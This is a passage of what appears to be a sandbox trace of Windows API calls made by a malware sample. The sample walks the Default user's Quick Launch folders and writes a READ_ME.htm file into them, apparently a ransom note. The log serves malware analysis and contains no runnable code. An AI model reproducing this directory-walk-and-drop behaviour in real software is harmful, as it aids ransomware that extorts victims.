cAlternateFileName="QUICKL~1")) returned 1 [0143.531] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda27f60, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x62b318e0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xf96dfdac, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Quick Launch", cAlternateFileName="QUICKL~1")) returned 0 [0143.531] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0143.531] SetErrorMode (uMode=0x0) returned 0x1 [0143.532] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch", nBufferLength=0x105, lpBuffer=0x21ce10, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch", lpFilePart=0x0) returned 0x49 [0143.532] SetErrorMode (uMode=0x1) returned 0x0 [0143.532] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\*" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\internet explorer\\quick launch\\*"), lpFindFileData=0x21cfb0 | out: lpFindFileData=0x21cfb0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda27f60, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x62b318e0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xf96dfdac, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0143.534] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda27f60, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x62b318e0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xf96dfdac, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0143.534] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x7de4960a, ftCreationTime.dwHighDateTime=0x1ca043e, ftLastAccessTime.dwLowDateTime=0x62b318e0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x7e1692f0, ftLastWriteTime.dwHighDateTime=0x1ca043e, nFileSizeHigh=0x0, nFileSizeLow=0x92, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0143.534] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7de234aa, ftCreationTime.dwHighDateTime=0x1ca043e, ftLastAccessTime.dwLowDateTime=0x62b318e0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x7e11d030, ftLastWriteTime.dwHighDateTime=0x1ca043e, nFileSizeHigh=0x0, nFileSizeLow=0x122, dwReserved0=0x0, dwReserved1=0x0, cFileName="Shows Desktop.lnk", cAlternateFileName="SHOWSD~1.LNK")) returned 1 [0143.534] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x629dac80, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x629dac80, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x119ccee, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="User Pinned", cAlternateFileName="USERPI~1")) returned 1 [0143.534] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7de6f76b, ftCreationTime.dwHighDateTime=0x1ca043e, ftLastAccessTime.dwLowDateTime=0x62b318e0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x7e143190, ftLastWriteTime.dwHighDateTime=0x1ca043e, nFileSizeHigh=0x0, nFileSizeLow=0x110, dwReserved0=0x0, dwReserved1=0x0, cFileName="Window Switcher.lnk", cAlternateFileName="WINDOW~1.LNK")) returned 1 [0143.535] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7de6f76b, ftCreationTime.dwHighDateTime=0x1ca043e, ftLastAccessTime.dwLowDateTime=0x62b318e0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x7e143190, ftLastWriteTime.dwHighDateTime=0x1ca043e, nFileSizeHigh=0x0, nFileSizeLow=0x110, dwReserved0=0x0, dwReserved1=0x0, cFileName="Window Switcher.lnk", cAlternateFileName="WINDOW~1.LNK")) returned 0 [0143.535] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0143.536] SetErrorMode (uMode=0x0) returned 0x1 [0143.536] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch", nBufferLength=0x105, lpBuffer=0x21ce10, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch", lpFilePart=0x0) returned 0x49 [0143.536] SetErrorMode (uMode=0x1) returned 0x0 [0143.536] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\*" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\internet explorer\\quick launch\\*"), lpFindFileData=0x21cfb0 | out: lpFindFileData=0x21cfb0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda27f60, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x62b318e0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xf96dfdac, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0143.537] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda27f60, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x62b318e0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xf96dfdac, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0143.537] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x7de4960a, ftCreationTime.dwHighDateTime=0x1ca043e, ftLastAccessTime.dwLowDateTime=0x62b318e0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x7e1692f0, ftLastWriteTime.dwHighDateTime=0x1ca043e, nFileSizeHigh=0x0, nFileSizeLow=0x92, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0143.538] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7de234aa, ftCreationTime.dwHighDateTime=0x1ca043e, ftLastAccessTime.dwLowDateTime=0x62b318e0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x7e11d030, ftLastWriteTime.dwHighDateTime=0x1ca043e, nFileSizeHigh=0x0, nFileSizeLow=0x122, dwReserved0=0x0, dwReserved1=0x0, cFileName="Shows Desktop.lnk", cAlternateFileName="SHOWSD~1.LNK")) returned 1 [0143.538] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x629dac80, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x629dac80, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x119ccee, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="User Pinned", cAlternateFileName="USERPI~1")) returned 1 [0143.538] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7de6f76b, ftCreationTime.dwHighDateTime=0x1ca043e, ftLastAccessTime.dwLowDateTime=0x62b318e0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x7e143190, ftLastWriteTime.dwHighDateTime=0x1ca043e, nFileSizeHigh=0x0, nFileSizeLow=0x110, dwReserved0=0x0, dwReserved1=0x0, cFileName="Window Switcher.lnk", cAlternateFileName="WINDOW~1.LNK")) returned 1 [0143.538] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7de6f76b, ftCreationTime.dwHighDateTime=0x1ca043e, ftLastAccessTime.dwLowDateTime=0x62b318e0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x7e143190, ftLastWriteTime.dwHighDateTime=0x1ca043e, nFileSizeHigh=0x0, nFileSizeLow=0x110, dwReserved0=0x0, dwReserved1=0x0, cFileName="Window Switcher.lnk", cAlternateFileName="WINDOW~1.LNK")) returned 0 [0143.538] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0143.539] SetErrorMode (uMode=0x0) returned 0x1 [0143.539] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned", nBufferLength=0x105, lpBuffer=0x21cd50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned", lpFilePart=0x0) returned 0x55 [0143.539] SetErrorMode (uMode=0x1) returned 0x0 [0143.539] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\*" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\internet explorer\\quick launch\\user pinned\\*"), lpFindFileData=0x21cef0 | out: lpFindFileData=0x21cef0*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x629dac80, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x629dac80, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x119ccee, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0143.541] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cf00 | out: lpFindFileData=0x21cf00*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x629dac80, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x629dac80, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x119ccee, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0143.541] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cf00 | out: lpFindFileData=0x21cf00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x629dac80, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x629dac80, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xf98cef90, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ImplicitAppShortcuts", cAlternateFileName="IMPLIC~1")) returned 1 [0143.541] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cf00 | out: lpFindFileData=0x21cf00*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x629dac80, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x62b7dba0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x123526f, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="TaskBar", cAlternateFileName="")) returned 1 [0143.541] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cf00 | out: lpFindFileData=0x21cf00*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x629dac80, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x62b7dba0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x123526f, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="TaskBar", cAlternateFileName="")) returned 0 [0143.541] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0143.541] SetErrorMode (uMode=0x0) returned 0x1 [0143.541] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned", nBufferLength=0x105, lpBuffer=0x21cd50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned", lpFilePart=0x0) returned 0x55 [0143.542] SetErrorMode (uMode=0x1) returned 0x0 [0143.542] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\*" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\internet explorer\\quick launch\\user pinned\\*"), lpFindFileData=0x21cef0 | out: lpFindFileData=0x21cef0*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x629dac80, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x629dac80, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x119ccee, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0143.542] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cf00 | out: lpFindFileData=0x21cf00*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x629dac80, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x629dac80, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x119ccee, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0143.542] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cf00 | out: lpFindFileData=0x21cf00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x629dac80, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x629dac80, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xf98cef90, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ImplicitAppShortcuts", cAlternateFileName="IMPLIC~1")) returned 1 [0143.542] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cf00 | out: lpFindFileData=0x21cf00*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x629dac80, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x62b7dba0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x123526f, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="TaskBar", cAlternateFileName="")) returned 1 [0143.542] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cf00 | out: lpFindFileData=0x21cf00*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x629dac80, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x62b7dba0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x123526f, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="TaskBar", cAlternateFileName="")) returned 0 [0143.542] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0143.543] SetErrorMode (uMode=0x0) returned 0x1 [0143.543] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\ImplicitAppShortcuts", nBufferLength=0x105, lpBuffer=0x21cc90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\ImplicitAppShortcuts", lpFilePart=0x0) returned 0x6a [0143.543] SetErrorMode (uMode=0x1) returned 0x0 [0143.543] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\ImplicitAppShortcuts\\*" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\internet explorer\\quick launch\\user pinned\\implicitappshortcuts\\*"), lpFindFileData=0x21ce30 | out: lpFindFileData=0x21ce30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x629dac80, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x629dac80, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xf98cef90, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0143.543] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21ce40 | out: lpFindFileData=0x21ce40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x629dac80, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x629dac80, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xf98cef90, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0143.544] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21ce40 | out: lpFindFileData=0x21ce40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x629dac80, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x629dac80, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xf98cef90, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0143.544] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0143.544] SetErrorMode (uMode=0x0) returned 0x1 [0143.544] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\ImplicitAppShortcuts", nBufferLength=0x105, lpBuffer=0x21cc90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\ImplicitAppShortcuts", lpFilePart=0x0) returned 0x6a [0143.544] SetErrorMode (uMode=0x1) returned 0x0 [0143.544] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\ImplicitAppShortcuts\\*" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\internet explorer\\quick launch\\user pinned\\implicitappshortcuts\\*"), lpFindFileData=0x21ce30 | out: lpFindFileData=0x21ce30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x629dac80, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x629dac80, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xf98cef90, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0143.544] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21ce40 | out: lpFindFileData=0x21ce40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x629dac80, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x629dac80, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xf98cef90, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0143.545] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21ce40 | out: lpFindFileData=0x21ce40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x629dac80, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x629dac80, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xf98cef90, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0143.545] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0143.545] SetErrorMode (uMode=0x0) returned 0x1 [0143.545] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\ImplicitAppShortcuts\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21cb30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\ImplicitAppShortcuts\\READ_ME.htm", lpFilePart=0x0) returned 0x76 [0143.545] SetErrorMode (uMode=0x1) returned 0x0 [0143.545] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\ImplicitAppShortcuts\\READ_ME.htm" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\internet explorer\\quick launch\\user pinned\\implicitappshortcuts\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0143.545] GetFileType (hFile=0x1d0) returned 0x1 [0143.546] SetErrorMode (uMode=0x0) returned 0x1 [0143.546] GetFileType (hFile=0x1d0) returned 0x1 [0143.546] WriteFile (in: hFile=0x1d0, lpBuffer=0x29df3d8*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d098, lpOverlapped=0x0 | out: lpBuffer=0x29df3d8*, lpNumberOfBytesWritten=0x21d098*=0x720, lpOverlapped=0x0) returned 1 [0143.556] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar", nBufferLength=0x105, lpBuffer=0x21cc90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar", lpFilePart=0x0) returned 0x5d [0143.556] SetErrorMode (uMode=0x1) returned 0x0 [0143.556] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\*" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\internet explorer\\quick launch\\user pinned\\taskbar\\*"), lpFindFileData=0x21ce30 | out: lpFindFileData=0x21ce30*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x629dac80, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x62b7dba0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x123526f, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0143.559] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21ce40 | out: lpFindFileData=0x21ce40*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x629dac80, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x62b7dba0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x123526f, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0143.559] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21ce40 | out: lpFindFileData=0x21ce40*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x62b57a40, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x62b57a40, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x123526f, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0xd3, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0143.559] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21ce40 | out: lpFindFileData=0x21ce40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x62b57a40, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x62b57a40, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x921e7f, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x5a9, dwReserved0=0x0, dwReserved1=0x0, cFileName="Internet Explorer.lnk", cAlternateFileName="INTERN~1.LNK")) returned 1 [0143.559] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21ce40 | out: lpFindFileData=0x21ce40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x62b0b780, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x62b0b780, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x7dfa026d, ftLastWriteTime.dwHighDateTime=0x1ca043e, nFileSizeHigh=0x0, nFileSizeLow=0x4cc, dwReserved0=0x0, dwReserved1=0x0, 